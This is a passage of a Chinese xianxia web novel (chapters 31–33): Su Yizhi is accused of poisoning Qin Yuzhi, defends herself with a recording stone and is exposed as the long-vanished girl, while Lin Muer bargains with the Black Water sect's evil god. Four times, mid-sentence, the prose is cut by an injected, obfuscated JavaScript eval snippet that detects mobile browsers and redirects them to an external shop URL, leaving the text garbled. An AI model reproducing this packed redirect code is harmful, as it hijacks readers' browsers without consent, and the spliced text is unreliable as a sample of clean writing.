不得不说,秦玉芝虽然脑子不太好使,但就因为脑子不好使,不受任何规则束缚,反而经常会冒出惊人之语。 “这件事,我会查清楚,眼下,你先按我的计划行事。” 如果秦玉芝足够聪明,她应该会问林木儿,为何不先去调查,只要查清楚苏一枝真的跟黑水门有关系,离火宗必不容她,又何必让自己去冒这个险。 可秦玉芝脑子并不聪明,她只是时常会有些莫名其妙见不得别人好的小心机,所以她一路犹豫着,回了炼器峰。 白金宗的人会在离火宗停留些时日,在此期间秦玉芝都会住在炼器峰,她和林木儿的计划也准备在这里实施。因为她们觉得,苏一枝再怎么样,也不可能把玄影石装到炼器峰去。 这天傍晚苏一枝正捧着玄天鼎,看祝从容指点新来丹药峰的弟子。 不得不说,祝从容很有耐心,苏一枝只是旁观都快气得冒烟了,他却依然能坚持一次一次又一次重复着弟子总也记不住的要领。 也难怪每年纳新,他都会被派去给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093761|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新人讲课,天生当老师的料子。 “大师伯可真有耐心。”她忍不住说。 祝从容笑道:“是我们缺人,才把人家抓来丹药峰的,不耐心怎么办?人家本来第一选择也不是丹药。” “我当初……”苏一枝话到一半停住了。 她想说,我当初,13年前,作为新弟子听讲时,看着是不是也这般懵懵懂懂冥顽不灵? 可是想到祝从容并不知她身份,硬生生收回了剩下的话。 祝从容却没有多想,麻利接口道:“怎么能跟你当初比?你来丹药峰,都已经是学有所成了。以你的天赋,即使最初作为散修初学,肯定也是领悟极快的。” 那位小弟子哭丧着脸:“师父,苏苏师姐,你们就非要当着我的面埋汰我吗?” 苏一枝笑了。 就在这时,丹药峰的门被人强势踹开,三人抬头望去,只见以钟刚和秦钟长老在前,秦炎林木儿在后,气势汹汹,似乎要踏平丹药峰。 “怎么了这是?”祝从容上前。 “你闪开!”秦钟丝毫不给面子,一把拨开祝从容,上前扣住苏一枝手腕,“妖女!拿命来!” “事情究竟如何,还是查清楚再说。”秦炎看着苏一枝,“苏苏,先跟他们去一趟刑法堂,问你什么,你要如实回答。” “不是,怎么就直接去刑法堂了?不是有罪的才去刑法堂吗?”祝从容急道。 “这个我熟。”几人身后忽然又冒出一人,边走边拍手,“之前他们诬陷我杀了堂兄,也是这样,不问清楚,也没有证据,直接就把我关地牢了。” 林木儿陡地转身:“你怎么还没走?” “瞧把堂姐吓得。”林河笑道,“我之前也经常来找堂姐,那时堂姐可没赶过我,难不成在堂姐心里,真把我当杀人凶手了?” “我没证据,自然不会认定你是凶手,但也不能说你就不是。” “所以你们要是没证据,可不要认定人家苏苏就是凶手哦。” 林木儿皱眉,她总觉得这位堂弟似乎变了个人一样,却又说不清到底哪里变了。 从死气沉沉忽然变得充满活力? 好像也不全是。 为什么他会忽然有这样的变化? 就因为父亲冤枉了他? 还是有别的原因? 林木儿越想越觉得不妙,一种不祥的预感在心底慢慢升起,她却说不清道不明那究竟是怎样一种感觉。 就好像……好像一只惯于独行的流浪野狗,忽然有了主人? “对啊。”祝从容跳脚,“没证据,怎么就要把苏苏往刑法堂带了?到了松柏手里,没罪都变有罪了!” “行。”秦炎挥手止住众人争吵,“就在丹药峰问个明白。” 他走进药房,在正位坐下:“苏苏,你上午可有去过炼器峰?见过秦玉芝?” “有。秦玉芝,哦,钟夫人说她身体不适,让我去看看,我便去了。” “据我所知,上次秦玉芝误食了些东西,白金宗的人以为是你丹药有问题,将你捉了去,这件事,你是否怀恨在心?” “没什么感觉。” “你分明怀恨在心,所以趁机害我芝儿性命!”秦钟坐不住了,暴跳如雷。 秦炎:“秦玉芝死了,这事可与你有关?” 31. 第 31 章 苏一枝差点笑出声来。 你看,她怎么说来着? 这些人,根本不用自己一个个去找她们,她们会自动送上门来。 上次救秦玉芝时她就说过,很快就会有下一次,只是没想到,会快到这种地步。 早上秦玉芝身边的女弟子来找她,说是夫人身体不适,想请她去看看,苏一枝知道不会有什么好事,从储物袋里拿出一枚打磨得很圆的玄影石,镶在耳钉上,以防万一。 果然,到了炼器峰,摸完脉,送上丹药,秦玉芝又说感谢苏一枝上次救她,深感惭愧之类,说是从白金宗带了些上好的灵茶,请苏一枝饮茶。 苏一枝甚至都不用去验,就知道茶肯定有问题。 她不明白的是,这么老套的方式,秦玉芝为什么会用。 或者说,林木儿为什么会用。 苏一枝借着再摸一次脉,成功让衣袖碰到茶杯,又装作不经意的样子将杯子重新摆好,顺便调换了一下。 秦玉芝毫无察觉,摸完脉,她端起茶杯饮了一口,甚是期待地看着苏一枝:“这茶真的很不错,苏苏药师尝尝如何,若是喜欢,待会带些回去。” 苏一枝端起来,一饮而尽,不咸不淡说了句:“的确不错。不过我不喜欢。” “那真是遗憾,”秦玉芝也一饮而尽,“我很喜欢呢。” 苏一枝有想过,秦玉芝这次喝下那些茶后又会怎么样,她们又会如何将事情往自己身上推,就像上次那样。 没想到秦玉芝居然死了。 就这么干脆地死了。 苏一枝忽然明白了林木儿的想法。 方法笨不笨,不重要,秦玉芝能不能成功,也不重要。林木儿从一开始,就没想过秦玉芝真的能弄死自己。 原来她想的一直都是让秦玉芝死,然后利用秦玉芝的死做文章。 上次没能成功,如今便再来一次。 “你是在笑吗?”林木儿冷冷问。 苏一枝对上她的目光:“的确有点好笑,她怎么老是吃错东西呢?上次把孩子吃没了,这次把自己命吃没了。” “你!”钟刚怒目,金色利刃自他手中飞出,直奔苏一枝面门。 “铛!”一道紫色光芒从斜里飞出,挡住钟刚攻击,林河似笑非笑,“钟宗主,事情还没弄明白就动手,不好吧?” “你又算什么东西?”钟刚欲继续,被秦炎拦下,“钟兄,待事情弄清楚,若真是这苏苏所为,我绝不偏袒。” “即使不是她所为,她说这话,也太过分了。”钟刚怒气难消,“我也没说一定是她,上次玉芝中毒,我还选择了相信她,让她救玉芝。现在想来,也不知当时是否做错。” “太过分了!太过分了!”秦钟老泪纵横,不住捶打自己胸口,“玉芝都被害死了,你还要如此出言嘲讽!人命在你眼里,就这样不值一提吗?” “秦爷爷,你也不要太伤心了,我们一定会为玉芝讨回公道的。”林木儿转向苏一枝,“玉芝两次吃错东西,都与你有关,你如何解释?” 苏一枝右手抱胸,左手点着下巴:“让我想想啊,上一次,你们拿着不知哪里来的药,非说是我的,我说不是我的,你们又不信。但我记得当时在场指认我的,有个姓阮的药师,那药师在哪里?不如把他抓来问个清楚。” “阮药师后来不知怎么的就不告而别了。”钟刚说。 “真可惜,我猜他肯定早被灭口了。”苏一枝摇头,“所以这次我留了个心眼,你们都知道我父亲给我留了样叫玄影石的东西吧?” “……”秦钟忽然觉得有点烦躁,他真的很怕听到苏苏动不动说什么父亲给她留下的东西,东西不但多,五花八门,还又不能细问。 他恨得咬牙切齿,却无处发泄,只得红着一双眼瞪着苏一枝,恨不得将她瞪出个血窟窿。 而林木儿,顿时生出一种暴躁感。 玄影石,又是玄影石,无处不在的玄影石! 幸好她一直有防备着这玄影石! 苏一枝歪着头,取下自己左侧耳钉,指尖轻触上面镶着的黑色石头,一幕影像便在众人眼前展开。 那是丹药峰下山的路,一路向前,经过天火台,来到炼器峰,见到秦玉芝。 秦玉芝如何与苏苏寒喧,如何劝苏苏饮茶,一一记录,并无特殊之处。 唯一值得怀疑的是,两人坐在茶桌边时,苏苏忽然说觉得秦玉芝脉象仍有疑问,再次帮她摸了脉,在这过程中,衣袖带到了茶杯,险些将杯子打翻,她伸手将杯子扶正重新摆好。 如果不细究,这只是个寻常动作,毕竟连秦玉芝都没有意识到有问题。 但眼下一切都值得怀疑,每个人都看得很仔细,所以大家一下子就看出来,她重新摆杯子时,两人的杯子位置互换了。 “你换了杯子,为什么?因为你事先知道那杯茶里有毒?”钟刚问。 “我只是将杯子重新摆放了一下,至于杯子原本是什么位置,并未在意。” “你知不知道,越是显得不在意,其实就越刻意?”钟刚说。 “那若如钟宗主所说,我是故意的,是我要害您夫人。可茶是你夫人准备的,有毒的那杯是放我面前的。这又该怎么说呢?” “事情不是很明显了吗?”林河抚掌,“钟夫人想害苏苏,苏苏有可能发现了,将茶杯调换了,也有可能没发现,无意中将茶杯调换了,总之结果是一样的,那就是钟夫人害人不成反害己。” “啪!”秦钟终于控制不住了,一巴掌拍下去,药房的云石桌案碎了一地,“满口胡言!玉芝有什么理由要害她?” “不如秦长老自己下去问问她?”林河跟苏一枝同时说。 “你!你们!” “好了。”林木儿尽量无视心中那种隐隐无力的憋屈感,挥挥手,清除掉满地的云石碎屑,“前些日子,玉芝跟我提起一些事,不知道是不是因为这个,最终导致了她的死亡。” “什么事?” “玉芝说,怀疑苏苏跟黑水门有关。” “什么?”秦炎平淡无波的脸上终于出现一丝松动,“怎么没听你说过?” “我知道苏苏对离火宗很重要,但她有很多法宝和材料都来历不明,就像她这个人一样。玉芝上次跟我提起,说苏苏的丹药效果实在太好,会不会不仅仅是因为玄天鼎,还因为她在其中添加了一些东西,比如说,沼泽里的药材。” “这说法并不是无中生有,实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105065|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她对沼泽里的一切太过熟悉,上次钟仙也是因为听她说了什么?草荀草,才会去沼泽里寻找,结果丢了性命。再之后的事你们都知道了,我们三大宗门,在那地方,损失了多少人。所以我私底下就调查了一下,苏苏说她来自东林山专修丹药的散修家族,我派了很多弟子,去东林山一带打听了很久。” “东林山何其大,散落其间的散修更是多如牛毛,若说根本找不到这样一家姓苏的散修,倒是也说得过去。但问题是,弟子们找到了姓苏的散修,而且……”林木儿忽然冲门外冷声道:“把人带进来。” 一个十五六岁的男孩被两名弟子带了进来,跪倒在地。 “不用害怕,”林木儿和颜悦色,“说说看,你叫什么名字,认不认识眼前这人?” “我叫苏威,是东林山的散修。”那男孩抬头,看向苏一枝,“半年前,我见过她。” “什么情况,说说。” “当时,我跟我娘在追捕一头灵兽,被那灵兽诱着,不知不觉迷了路,在沼泽里越走越深,然后,引来了一个可怕的妖兽。我娘为了保护我,受了重伤,是她救了我娘。” 苏一枝冷眼看着他,到目前为止,他说的都是实情。 她等待离火宗纳新的时候,偶然间听到沼泽里的呼救声,循声前往,救下一对母子,并收服了团团。 眼前这个人,就是当时那个被母亲护在怀里的孩子。 那位母亲名叫苏玉,是东林山的散修,她求苏一枝将自己儿子带走收在身边当个打杂的也行,苏一枝没同意,将她带出沼泽,帮她疗了伤,并留下了大量丹药。 苏玉问苏一枝名字,说日后若有机会,必定回报。 苏一枝说不用,如果真想感谢我,假如将来某一天,有人去东林山打听有没有姓苏的专修丹药的散修,你就告诉他们有,但那散修夫妻都去世了,只剩个女儿不知所踪,听说去大门派继续修炼了。 苏玉当时答应了,说即使自己死了,也会让儿子记住,儿子死了,也会说给身边可靠的人,让他们记牢。 可眼下她的儿子苏威跪在这里,对上苏一枝的目光,满眼都是恐惧与怨恨,还掺杂着一丝贪婪。 “她救了我娘,但对我娘提了个奇怪的要求,说将来要是有一天,有人到东林山打听有没有姓苏的修丹药的散修,就帮着说曾经有过,后来那散修夫妇去世,只剩了个女儿,听说去大门派继续深造了。说来也怪,我们回东林山不久后,真的有人来问,我娘便按照她要求的那般,与别人说了。” 林木儿点了点头:“应该是柳益派去的人,他收了你做弟子,自然要打听清楚,可惜,他被骗了。后来呢?你为什么又决定说出实情了?” 那男孩目光满怀怨恨:“后来我娘还是去世了,她当时受伤太重,这人根本没有用心救她。” 林木儿看了一圈室内众人:“所以,这个苏苏从来不是什么东林山散修,她隐姓埋名潜入我们离火宗,究竟所为何事?自她进入丹药峰,祝峰主死了,柳益被废,钟仙听了她的话去沼泽采?草,葬身沼泽,如今连秦玉芝都……苏苏,你究竟是什么人?” 苏一枝低头听她说完,笑了一下,抬头看她:“我是谁,你不是早就知道了么?” 32. 第 32 章 众人皆看向林木儿。 林木儿依旧坚定地伸出手,指着苏一枝,心里却浮起一丝惊慌。 她只想让别人怀疑苏一枝的身份,却并不想直接指出她就是苏一枝。 苏一枝真正的身份最好是由别人发现,而不是自己。 她从来没想过,苏一枝敢当众暴露身份,还把问题抛给了自己。 自己接,还是不接呢? 接了,就很容易让人把自己和苏一枝联想到一起,翻出当年的那些事。 不接,不接? 她已经被苏一枝反将一军顺势架起来了,如何能不接? 林木儿硬着头皮:“你让我想起十年前离火宗失踪的一个人,苏一枝。” 秦炎瞳孔微缩,看向苏一枝。 钟刚和秦钟也脸色微动,皱起了眉。 反应最大的是祝从容,他张大了嘴巴,瞪大眼睛,小声不住问:“真的吗?这是真的吗?苏苏?” 倒是林河,一脸欣慰,也不知道在欣慰什么。 林木儿继续:“你们不觉得她长得很像当年的苏一枝吗?如果是她,一切就都有了解释,她恨离火宗,也是回来报仇的,目的就是毁了离火宗。她一来,祝峰主死了,柳益被废被逐,钟仙死了,秦玉芝也死了,更别提又有多少弟子死在沼泽。” 此时秦旭和梅踪也听到动静来了丹药峰,两人一脸吃惊盯着苏一枝。 梅踪:“你别说,还真有点像,虽然当初我只见过她一面,她当时情况也不太好,但真要说起来,模子是有点像的。” 她一直还记得当初在丹药峰观景台上遇到的那个饱受欺凌的小女孩,后来不知怎么就失踪了,隐约有传言说是被凌虐而死,她跟秦旭还感叹了一阵子。秦旭说兴许是自己离开了,离火宗不至于容许有凌虐这样的事情发生。 梅踪撇嘴说你忘记我们见到她时她什么样子了?越是大门派,藏污纳垢就越多。 “你怎么说?”秦炎冷声问。 苏一枝微笑:“真是奇怪,我记得钟仙命丧沼泽的时候,夫人就来问过我是不是苏一枝,当时我便跟她承认了,怎么今日竟又大张旗鼓来质疑我是不是苏一枝?当年我死里逃生,大彻大悟,只想于丹道一途有所作为。而当今世上只有离火宗最适合学习丹药,所以我便来了。之所以隐姓埋名,另寻身份,是为了避免过去那些纠葛,专心学习丹药,没想到还是被夫人发现了。夫人既然觉得我来离火宗是为了报仇,不如说说,在夫人眼里,我有什么仇要报?” 林木儿:“你恨秦老宗主将你带来离火宗,所以和黑水门勾结,害死了老宗主。” “岂有此理!”秦钟又要拍桌,拍了个空,才想起桌子已经被自己拍碎了,他收起掌,指着苏一枝,“秦旺当初待你不薄,逢人就夸你是多好多乖巧,你就是这样恩将仇报的吗?” 苏一枝眼神里带了一丝怜悯: “我终于明白秦玉芝身上那种随风倒的性格是怎么来的了,原是来自于你。别人说什么就信什么,丝毫不过脑子。我若那么有本事,能跟黑水门有勾结害了秦旺宗主,又有什么理由,继续留在离火宗,被你们欺负那么多年?林木儿,你明明是担心我来找你报当年欺凌之仇,却要将秦老宗主推出来,这种行为,简直让人唾弃。我那时虽然痛恨你们的欺凌,一心想要解除婚约离开这里,也曾经想过,要是从来都没被带来这里就好了,但对秦老宗主,我从未有过半分恨意。甚至我此生所感受过为数不多的认同与温暖,都来自于他,又怎么可能会恨他。倒是宗主夫人你,自诩聪明过人,怎么会一个跟头栽两次呢。当初柳益和你想陷害于我时,我明明用过玄影石,你怎么就忘了。你是觉得让秦玉芝在炼器峰害我,我就不会用玄影石了吗?还是说,你对这些根本就无所谓,只想用秦玉芝的死来指责于我,白金宗那次不成,就又来一次。” 钟刚紧蹙的眉头更紧了几分:“你说什么?” 苏一枝的声音依旧淡淡的,辨不出情绪:“上次在白金宗,秦玉芝听信林木儿的话,想要陷害于我,结果自己丹药中毒时,我就跟她说过,那是我最后一次救她。如果今后她还要害我,我会冷眼旁观她自作自受。所以这次她又要害我,我便冷眼旁观了。如果在座的各位认为,冷眼旁观害我的人自作自受也是罪过,那我无话可说。” “你究竟有多少玄影石?”秦炎忽然问。 苏一枝笑笑:“取决于我想用多少。” 秦炎抿了抿嘴,似是陷入沉思。 众人也因苏一枝的话一时沉默。 良久,秦钟长老拂袖而去。 他护秦玉芝长大,不让她受半分委屈,没想到,终究是害了她,让她变成一个如此单纯的人,被人利用,最后死得这么憋屈。他想为她讨回公道,都没有一个合适的理由。 钟刚也离开了,他跟秦钟长老一样,心中依旧有恨,却不好再发作。 屋内只剩离火宗的人和一个林河。 秦炎看了林河一眼,又看一眼,见他实在没有要离开的意思,便也不去管他,问苏一枝:“这十年,你是否有什么奇遇,可以自由出入沼泽?否则你那些奇怪的材料从何而来?如果你能给出一个合理的解释,我自会相信你与黑水门并无勾结,也会去向钟宗主和秦长老求情,让他们放过你一马。他们今日虽暂时离开,心里的恨是很难彻底消除的。” 林河冷笑:“你倒是会问。她刚才分明说了那么多过去在离火宗遭受欺凌的事,以及现在依然被一次次陷害,你却单单只问她离开离火宗以后如何。怎么,是自己也知道,那些都是你夫人所为吗?” “你!”林木儿终于意识到,那些林河喜欢自己的传言,恐怕真的只是传言。 他和苏一枝是一起的。 可是为什么? 当年苏一枝失踪时,他才多大? 他们什么时候认识的? 秦炎面色平静无波:“她自己也说,大彻大悟,不想理会过去的纷扰,只想好好学习丹药,我们也没必要揪着以前的事不放。如果秦玉芝的事真乃夫人所为,我自会处理。我只想确认一件事,苏一枝,你是否真的,与黑水门有关?” “我与黑水门没有任何接触。”苏一枝瞥了林木儿一眼,“不过黑水门近年来南向扩张,触手早已伸向三大门派,宗主怀疑离火宗有人跟黑水门有接触,也是正常的。” 林木儿神情肉眼可见紧张起来。 苏一枝笑了,人果然,不能做太多亏心事啊。 “我用人不看过往,只要现在并无二心。”秦炎话是对苏一枝说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115330|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,眼睛却看着林木儿,“如今离火宗正是用人之际,苏一枝,你继续留在丹药峰。” “如此说来,我倒要谢谢宗主宽宏大量不计前嫌了。”苏一枝说。 然而秦炎好像听不懂她的阴阳怪气,道了句天色已晚,散了吧,带着林木儿和秦旭夫妇就离开了。 林木儿转过脸看苏一枝,勾起一边嘴角,眼里寒意似乎将夜色里的丹药峰都蒙上一层冰霜。 第二天天还没亮,林木儿就回了青木宗,去找林桐桐。 林桐桐正在揽镜自照。 ?草服用一次,容貌可保持17天,她有点舍不得用,可一旦美过,又无法再接受自己的丑。 而且她的美是在原本容貌基础上去改变的,旁人问了,她只说最近修了些功法,甚是有用,至于到底是何功法,她笑而不语,绝口不提,别人也不好继续追问,只能艳羡。甚至有些仙门弟子开始托人找到她师父,表达想要结亲的意愿。 林桐桐想,什么时候能再去一趟沼泽,多采些?草呢,这次最好是能将荀草也一起带回来,让那苏一枝,不,不让她炼,就找青木宗的丹药师,炼成丹药,如此便可拥有长久的美貌,岂不快哉。 可是想到沼泽凶险和钟仙的惨状,她又不寒而栗。 要不,趁着现在?草还未用完,自己还可以保持美貌,去求一下鱼跃,看他能不能陪自己去采灵草? 林桐桐依稀记得,第一次跟鱼跃缠绵后,总觉得身体有些不适,似乎亏空许多。 而上次回来,却莫名又恢复了精力。 看来容貌的变化,也影响缠绵的效果,许是她的美貌让鱼跃多了些柔情蜜意,自己便也得到滋养了吧。 正在那里浮想联翩,林木儿来了。 像是正瞌睡便有人递上了枕头,两人一拍即合。 到了距鱼跃观尸亭约二三十里处的那个死水湖,林木儿照例丢出一张幻境符,让林桐桐陷入幻境,然后去找鱼跃。 “怎么,这么快又想我了?可你这大着肚子呢。”鱼跃手中寒冰扇戳了戳林木儿肚子。 “别闹。”林木儿打开扇子,“我问你,你们的黑水邪神,许愿可曾有过失灵?” 鱼跃脸色垮了下来:“怎么每次都提他?我看你干脆跟他温存去算了。要不要我帮你介绍?” “我说正事!你还记得我上次许的愿不?” “不记得。” “我上次许愿,让邪神帮我除掉一个人,可是回去后,发现那人好端端活着。你说奇怪不?” “嗯?”鱼跃终于有了兴趣,“他没帮你完成心愿?” “对啊。所以我来确定一下,是必须用自己寿命才行吗?” “没有这种说法。”鱼跃扇子哗地张开,彻底来了精神,“你要杀的人,是谁?什么修为?” “一个药师,好像是金丹初期还是中期?” “这不可能,金丹期的修士,他跟捏死一只蚂蚁般简单。” “所以为什么呢?难道那药师隐藏了修为?” “即使隐藏修为,也不可能是邪神对手。但邪神若不能完成许愿,会遭受反噬。而他宁愿遭受反噬,都不杀掉对方,为什么?” 两人大眼瞪小眼,在彼此眼中都看到了浓浓的迷惑。 33. 第 33 章 “你看我做什么?”林木儿无语,“你们黑水门的邪神,你自己都不知道?” 鱼跃转过头:“我一般不许愿,不甚了解。” “为什么?” “如果太过轻易就得到自己想要的,岂不是人人都不想努力了?捷径往往是最大的弯路。” “这话从你嘴里说出来真可笑,你们的刹魂术,不是专门走捷径夺人修为和寿命?” “所以黑水门的人越来越少了。” 林木儿一惊,隐约觉得有些什么事情正在悄悄发生,她看着鱼跃手里那个名为千里眼的东西,问:“你总是拿着这个,是在看什么?” 鱼跃将千里眼递给她:“你要看看吗?” “是什么?”林木儿有些顾忌。 鱼跃又递了一下:“看看不就知道了?说不定有你认识的呢。” 林木儿小心翼翼接过那个像短笛又不是笛子,顶端镶了个诡异琉璃片的东西,放在左眼,望过去…… ! 她不由头皮发麻! 鱼跃在沼泽里养了大批尸鬼,这个林木儿当然知道,但她没想到,那尸鬼数量竟是如此众多! 她更没想到的是,原来,一切都在鱼跃掌握之中。 上次三大宗门的人联合去带回秦旺和钟仙,死伤无数,而那样惨烈的战斗,竟然都是在鱼跃眼皮子底下发生的吗? 他们对鱼跃一无所知,而鱼跃对他们却了如指掌。 黑水门还有黑水邪神。 三大宗门一向认为自己乃仙门正宗,觉得黑水门是歪门邪道,如今看来,似乎是个笑话。 长此以往,不知谁才能活到最后。 而刚才鱼跃说什么来着? “所以黑水门的人越来越少了。” 言下之意,他早有向南扩张的想法了吧? 或许已经在进行了,进行到哪一步了呢? “在想什么?”鱼跃忽然问。 林木儿心有余悸:“我在想,那幻境符的时间也快到了。” “真恶心,你下次能不能别带她来了?每次还要被她限制时间。” “我丈夫多疑,带着她好些。” “你说的那个药师,叫什么名字?” “苏一枝。鱼跃,我想再许一次愿,这次用百年寿命。” 鱼跃敛去了面上笑意,有些意兴阑珊地从怀里掏出个黑色神像,递给林木儿。 黑水门的邪神庙遍地都是,平时若有人想许愿,只需进庙,对着神像下跪祈祷上香即可。 如果能得到一尊小小的邪神像,不用进庙亦可许愿,但许愿的方式与进庙不同,需得滴血献寿。 且这种附着邪神灵力的小神像,据说总共只有九尊。 林木儿划破手指,将血滴到神像上,口中默念好友生辰八字,称愿以百年寿命,换取苏一枝永远消失。 血从神像身上一路向下,滴落在地。 邪神拒绝了她的许愿。 如果接受,血应该会渗进神像,消失无踪。 “有意思,”鱼跃寒冰扇掩在胸口,笑得意味深长,“我都有点想去看看那苏一枝究竟何许人了。” 林木儿脸色铁青,手上的伤口不再出血,她也没用治疗术让其愈合,而是又划了一道,让血继续流出,滴在神像上,第二次许愿,用林桐桐百年之寿命,换取苏一枝离开离火宗。 这次血终于被神像吸收进去。 “亏了吧?”鱼跃说,“如果许愿这个,50年就够了。” “烦。不管了。”林木儿脑子乱乱的,她现在并不能确定,让苏一枝离开离火宗,是否真的比较容易。 她想起昨晚离开丹药峰后,秦炎虽然没再说什么,但她读懂了他的眼神警告。 秦炎想告诉她,离火宗需要苏一枝,丹药峰需要苏一枝,他秦炎,也需要苏一枝,所以,她最好别再有什么动作。 耗费心思当众揭露了苏一枝的身份,除了让他蒙羞,没有任何好处。 林木儿甚至怀疑,秦炎他,真的直到昨天才知道苏一枝身份吗? 更可恶的是,苏一枝身边那些人,竟似都很高兴苏一枝身份被揭开。 比如林河,算了不想提这糟心的小子。 还有那祝从容。 她就不明白了,祝从容也算丹药峰的老人了,对苏一枝的过往多少应该有所耳闻,他高兴什么? 林木儿想的没错,祝从容真的很高兴。 直到此时,他还有种不真实感,早起炼完一炉丹,看到苏一枝出来,围着她足足转了三圈才停下:“啊,过了一夜,再确定一下,这是真的吗?你是苏一枝?我不是做梦吧?” 苏一枝点头:“大师伯,昨儿宗主离开的时候太晚,大家都各自歇息了,所以没来得及跟你说。其实当初,你对我有诸多提醒,我能感受到你的好意,只是那时候,很多事情我都做不到。” 祝从容连连摆手:“快别叫师伯了,你要真是苏一枝,那我得叫你一声小师妹啊。” “师伯还是将我当成苏苏吧。我记得当时师伯有对我说过一句话,你说这离火宗,实力相当的时候,讲关系,关系相当的时候,看实力。这句话,我记到现在。” “嗨,都是没用的废话。”祝从容摇头叹气。 “早上好啊,苏一枝。”林河又来了,身上带着些寒意。 “这么早就来了?”祝从容惊,“你怕不是起得比我都早吧?虽然修仙之人的身体无需睡眠,但还是要好好睡觉,才能保证心灵上的健康,尤其是你这种年轻人。” “我从东林山来的。”林河说。 “东林山?”祝从容又惊了。 苏一枝了然,这家伙肯定又在东林山西侧山峰坐了一夜,怪不得一身的寒气。 她微微叹息:“彻底不归,不怕余芷夫人骂你啊?” “由她骂去,左右都是叫我带林森,培养所谓兄弟感情,觉得是我自己亲手带大的以后就会疼他爱他。但又不放心,怕我害他,时时刻刻躲角落里监视。真的无语,有什么好带的,我2岁起就开始养家了,他8岁了还得别人带,也不怕养出个废物。” “2岁就开始养家?”祝从容再次震惊,又开始围着林河转,“让我看看你的灵根?” “他随口说的,你还真信。”苏一枝拉开祝从容。 “干脆我也来丹药峰吧。”林河说,“我真的不想呆在青木宗。” “可惜,可惜了。”虽然被苏一枝拉开,但祝人容还是摸到了林河的灵根,“水木双灵根,一点火都没有啊,真是可惜了。” “听见没?你没火,不适合来丹药峰。快回去吧,省得林渊长老跟余芷夫人以为我们丹药峰拐了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128945|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 苏一枝知道林河在青木宗地位尴尬,可那,到底也是个家呀。 林河就算再不喜欢那里,离了青木宗也无处可去。 林河依依不舍离去,祝从容看着他的背影:“苏苏,你什么时候跟他这么熟?如果我没记错,前段时间你还打听他来着。” “有了交集,说过几句话,就变熟了呗。” “可是你不觉得他变得怪怪的吗?” “哪里怪了?” “他以前跟夫人来过丹药峰,我记得,那时他不怎么说话,冷冷的,生人勿近的样子。现在……怎么说呢,就,你养过灵兽吧?嗳不对,你好像没有灵兽?” “以前被灵兽咬过,不喜欢。你先说说,他到底怎么个怪法。” “如果你有养过灵兽的话,就会知道,灵兽小的时候,都是活泼的,可爱的,粘人的。大了以后,就开始有各自的性格,有的依旧活泼,有的沉稳,有的野性,有的冷漠,有的胆小,有的凶猛。但如果一头灵兽,小的时候冷漠得很,生人勿近,长大了却忽然变得像小兽那般活泼可爱粘人,不会怪吗?” 苏一枝想起了小时候的林河。 那时候他还不叫林河,叫“那孩子”,他说父母没给他取名字,只叫他那孩子。那个时候,他也是冷漠的,虽然多次出手救了自己,但表情总是冷淡的,阴郁的。有那样的养父母,想不阴郁都难。他能活着,已经很不容易。 后来被青木宗领养,应该也没有很受重视,尤其在林森出生后,他的位置可想而知,必然变得尴尬。 而如今,他这样子,大概是因为遇到了自己,所以突然觉得找回了缺失的童年?想要抓住曾经的温暖? 那还真的,挺惭愧。 “师父师父,出事了师父!”祝从容的小弟子突然慌里慌张跑过来,“我们的药材库被人毁了!” 苏一枝跟祝从容赶往药材库,只见四间库房里,药材依旧码得整整齐齐,却已然变得乌黑如焦炭,一碰就碎。 所有药材,悉数被毁,无一幸存。 而在最大的那间库房中间,有一行寒冰凝成的字浮在焦黑的药材上,蓝莹莹的。 “不除苏一枝,逢药必毁。” 刚散开没多久的离火宗领导们再次聚集。 值守药材库的弟子瑟瑟发抖,一再表示真的毫无异常,那字是突然出现的,他们看到字后去看药材,发现已经全毁了。 秦旭上前捏了一把药材,仔细看了看碎渣:“不是火烧,倒像是被水系功法速冻后脱水导致。可即使是黑水门的门主鱼跃,也不可能进出离火宗如入无人之境,难道是黑水邪神?” 